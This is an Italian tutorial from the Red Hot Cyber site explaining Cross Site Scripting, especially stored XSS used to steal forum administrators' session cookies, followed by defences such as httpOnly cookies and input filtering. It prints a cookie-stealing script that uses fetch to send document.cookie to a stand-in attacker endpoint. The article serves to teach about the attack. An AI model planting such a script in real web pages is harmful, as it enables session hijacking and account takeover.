Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
Fortinet 970x120px
Enterprise BusinessLog 320x200 1
Cos’è il Cross Site Scripting. Un articolo per comprenderlo realmente in modo semplice

Cos’è il Cross Site Scripting. Un articolo per comprenderlo realmente in modo semplice

24 Giugno 2023 08:53

Autore: Davide Cavallini

Oggi cercherò di utilizzare la stessa dialettica (come fatto in precedenza nell’articolo sulle SQL injection), e spiegare in modo semplice che cos’è il Cross Site Scripting. 

Il Cross Site Scripting, chiamato anche XSS, è un tipo di attacco non diretto al server, come le SQL Injections, ma al client. Si tratta infatti di un attacco basato su JavaScript che viene eseguito nel browser dell’utente (Chrome, Firefox, internet Explorer, ecc) quando viene vistato un sito web. 


Christmas Sale

Christmas Sale -40%
𝗖𝗵𝗿𝗶𝘀𝘁𝗺𝗮𝘀 𝗦𝗮𝗹𝗲! Sconto del 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮 del Corso "Dark Web & Cyber Threat Intelligence" in modalità E-Learning sulla nostra Academy!🚀 Fino al 𝟯𝟭 𝗱𝗶 𝗗𝗶𝗰𝗲𝗺𝗯𝗿𝗲, prezzi pazzi alla Red Hot Cyber Academy. 𝗧𝘂𝘁𝘁𝗶 𝗶 𝗰𝗼𝗿𝘀𝗶 𝘀𝗰𝗼𝗻𝘁𝗮𝘁𝗶 𝗱𝗲𝗹 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮.
Per beneficiare della promo sconto Christmas Sale, scrivici ad [email protected] o contattaci su Whatsapp al numero di telefono: 379 163 8765.


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

Potrebbe sembrare una tipologia di attacco poco utile, in quanto comunque il browser ha varie protezioni che proteggono la lettura dei file locali e impedisce varie azioni non sicure. 

Però è una convinzione completamente sbagliata. Infatti il Cross Site Scripting può diventare un attacco veramente pericoloso, e con questo intendo che può essere non da meno degli attacchi diretti ai server.

Un esempio tipico di XSS riguarda il furto dell’ID di sessione che si trova dentro al cookie.

Ok, mi direte, ma come funziona? Cercherò di spiegarlo in modo semplice, partendo da come è fatta a grandi linee una pagina HTML.

La pagina HTML

Una pagina HTML non è altro che l’emulazione di una vera pagina di carta – una volta renderizzata – come ad esempio quella di un libro. Quindi conterrà alcuni elementi strutturali delle pagine, quali ad esempio: 

  • titolo (o header)
  • paragrafo 
  • immagine 
  • eccetera

Ovviamente, per poter formattare tutto questo in modo appropriato, esiste un codice, che non viene visualizzato dal Browser ma viene “interpretato” per visualizzare la pagina in modo chiaro ed intuitivo.

Questo codice consente a chi realizza la pagina HTML di utilizzare una serie di “non dover scrivere un miliardo di parole per fee ogni pagina, si usano dei “tag”, ovvero degli abbreviativi, che servono appunto ad inserire questi elementi strutturali all’interno della pagina.

Ad esempio:

  • header 1 (il più grande) diventerà il tag <h1> e verrà chiuso dal tag </h1>. Tra i due tag di apertura e chiusura sarà scritto il titolo
  • paragrafo sarà <p>contenuto</p>
  • immagine sarà<img> 
  • e così via

Le pagine HTML sono dinamiche

Passato il periodo “giurassico” del web, quando le pagine HTML erano statiche (web 1.0), si è passati successivamente all’utilizzo di ulteriore codice, per renderle dinamiche.

Una parte importantissima di una pagina HTML, che gli dà la cosiddetta “dinamicità” è il JavaScript, che è contenuto nel tag <script>. 

Questi script che vengono eseguiti all’interno del browser dell’utente sono dei veri e propri “programmi” che danno varie istruzioni alla pagina. Possono animare la pagina stessa, aggiungere l’invio di dati statistici a server propri o esterni tramite chiamate HTTP, geolocalizzare l’utente, e fare un sacco di altre funzionalità, tra cui la gestione dei cookie fino a fare interi videogiochi.

Un esempio classico di codice JavaScript è il seguente:

<script>
alert("questo è un avviso che compare all'interno della pagina");
</script>

Stored Cross Site Scripting su un classico forum

I cookie invece sono dei semplici file di testo memorizzati nel browser che servono a mantenere persistenza di alcune informazioni dell’utente.

La pagina HTML può avere delle caratteristiche che una pagina in un foglio non può avere, come ad esempio una casella per scrivere un commento sotto ad un post, come i classici forum.

Quindi dopo aver scritto un commento in questa casella e aver cliccato “invia”, il contenuto che è stato scritto verrà elaborato dal server e diventerà il contenuto della pagina stessa.

È proprio qui che prendono forma, se lo sviluppo del codice non è stato fatto bene, i più letali “Stored XSS”, ovvero quei JavaScript malevoli che restano salvati all’interno della pagina.

Un esempio tipico di script XSS è quello che come dicevo prima ruba gli id di sessione.

L’id di sessione non è altro che una stringa casuale di molti caratteri che viene associata univocamente ad ogni utente che fa l’accesso all’area clienti, e serve per ricordare al server che l’utente è sempre lui o lei ad ogni cambio di pagina.

L’id di sessione viene memorizzato dentro il cookie con un formato simile a questo:

PHPSESSID=836383abt6393736hdv38ndh

Siccome JavaScript può manipolare i cookies, questi script XSS malevoli possono andare a prelevare l’id di sessione ed inviarlo tramite chiamata HTTP al server dell’hacker.

Quindi quando l’amministratore del forum farà login alla sua area di amministrazione e accederà alla pagina dove un altro utente ha inserito un XSS Stored, passerà involontariamente l’id di sessione all’hacker, che lo imposterà nel suo cookie e diventerà egli stesso stesso l’amministratore (come se rubasse il documento di identità).

Riepilogo dell’attacco precedente:

  • L’hacker scrive il codice del Javascript che invia l’id di sessione e lo inserisce in un post di una pagina del forum affetta da Cross Site Scripting di tipo Stored
  • L’amministratore si logga e visita quella pagina dove è presente il post contenente il JavaScript mlevolo
  • Il JavaScript malevolo impiantato nella pagina ruba il cookie dell’amministratore – in quanto gira sul browser dell’amministratore stesso – che poi invia tale cookie al server controllato dall’hacker
  • L’hacker una volta acquisito l’id di sessione diventa amministratore con il pieno possesso del server

Quindi non bisogna mai sottovalutare questo tipo di attacco.

Un esempio pratico

Ora facciamo un altro esempio e facciamo finta di avere una textarea per commentare un post dove andremo ad inserire il seguente codice:

<script>
fetch('http://localhost/getcookie.php?c='+document.cookie.toString())
</script>
  • Così facendo il server dell’attaccante riceverà tutti i cookie dell’utente loggato tramite richiesta HTTP GET, nel parametro c

Il modo migliore di proteggersi è quello di usare dei metodi di autenticazione sicuri (ad esempio Liveuser in PHP), settare attributi nel cookie tipo httpOnly che lo rende inaccessibile da JavaScript, e soprattutto filtrare i dati degli input con delle funzionalità presenti in molte librerie apposite create apposta con l’intendo di limitare questo tipo di hack.

Ti è piaciutno questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Davide Cavallini 300x300
Davide Cavallini è un esperto sviluppatore senior specializzato in Laravel e JavaScript, con una notevole esperienza come penetration tester. La sua carriera è caratterizzata da un impegno nell'insegnamento e nella condivisione della sua conoscenza, contribuendo alla formazione di nuovi professionisti nel campo dello sviluppo software e della sicurezza informatica. La sua passione per la tecnologia lo spinge a rimanere sempre aggiornato e a esplorare nuove frontiere dell'informatica.

Articoli in evidenza

Immagine del sitoCybercrime
Invece di salvare le aziende dal ransomware, le attaccavano. Due esperti affiliati di BlackCat
Redazione RHC - 31/12/2025

Nel panorama delle indagini sui crimini informatici, alcuni casi assumono un rilievo particolare non solo per l’entità dei danni economici, ma per il profilo delle persone coinvolte. Le inchieste sul ransomware, spesso associate a gruppi…

Immagine del sitoCybercrime
Cybercrime 2026: Quando gli attacchi informatici diventano violenza reale
Redazione RHC - 31/12/2025

Nel 2025, la criminalità informatica andrà sempre più oltre il “semplice denaro”: gli attacchi non riguardano solo fatture per tempi di inattività e pagamenti di riscatti, ma anche conseguenze umane reali, dalle interruzioni dell’assistenza sanitaria…

Immagine del sitoCybercrime
La schizofrenia USA è alle stelle! Europa, hai capito che sulla tecnologia ci si gioca tutto?
Chiara Nardini - 30/12/2025

Nel 2025 il dibattito sull’intelligenza artificiale ha smesso di essere una questione per addetti ai lavori. È diventato pubblico, rumoroso, spesso scomodo. Non si parla più solo di efficienza o di nuovi modelli, ma di…

Immagine del sitoCybercrime
La mangiatoia del gatto ti sta spiando? I bug di sicurezza vanno oltre le semplici CAM
Redazione RHC - 30/12/2025

È stata scoperta una serie di vulnerabilità nel popolare ecosistema di distributori automatici di cibo per animali domestici Petlibro. Nel peggiore dei casi, queste vulnerabilità consentivano a un aggressore di accedere all’account di qualcun altro,…

Immagine del sitoCybercrime
La filiera Apple nel mirino degli hacker: incidente segnalato in Cina
Redazione RHC - 30/12/2025

Nel corso della prima metà di dicembre, un’azienda cinese impegnata nell’assemblaggio di dispositivi per Apple è stata colpita da un attacco informatico avanzato che potrebbe aver esposto informazioni sensibili legate a una linea produttiva. L’episodio…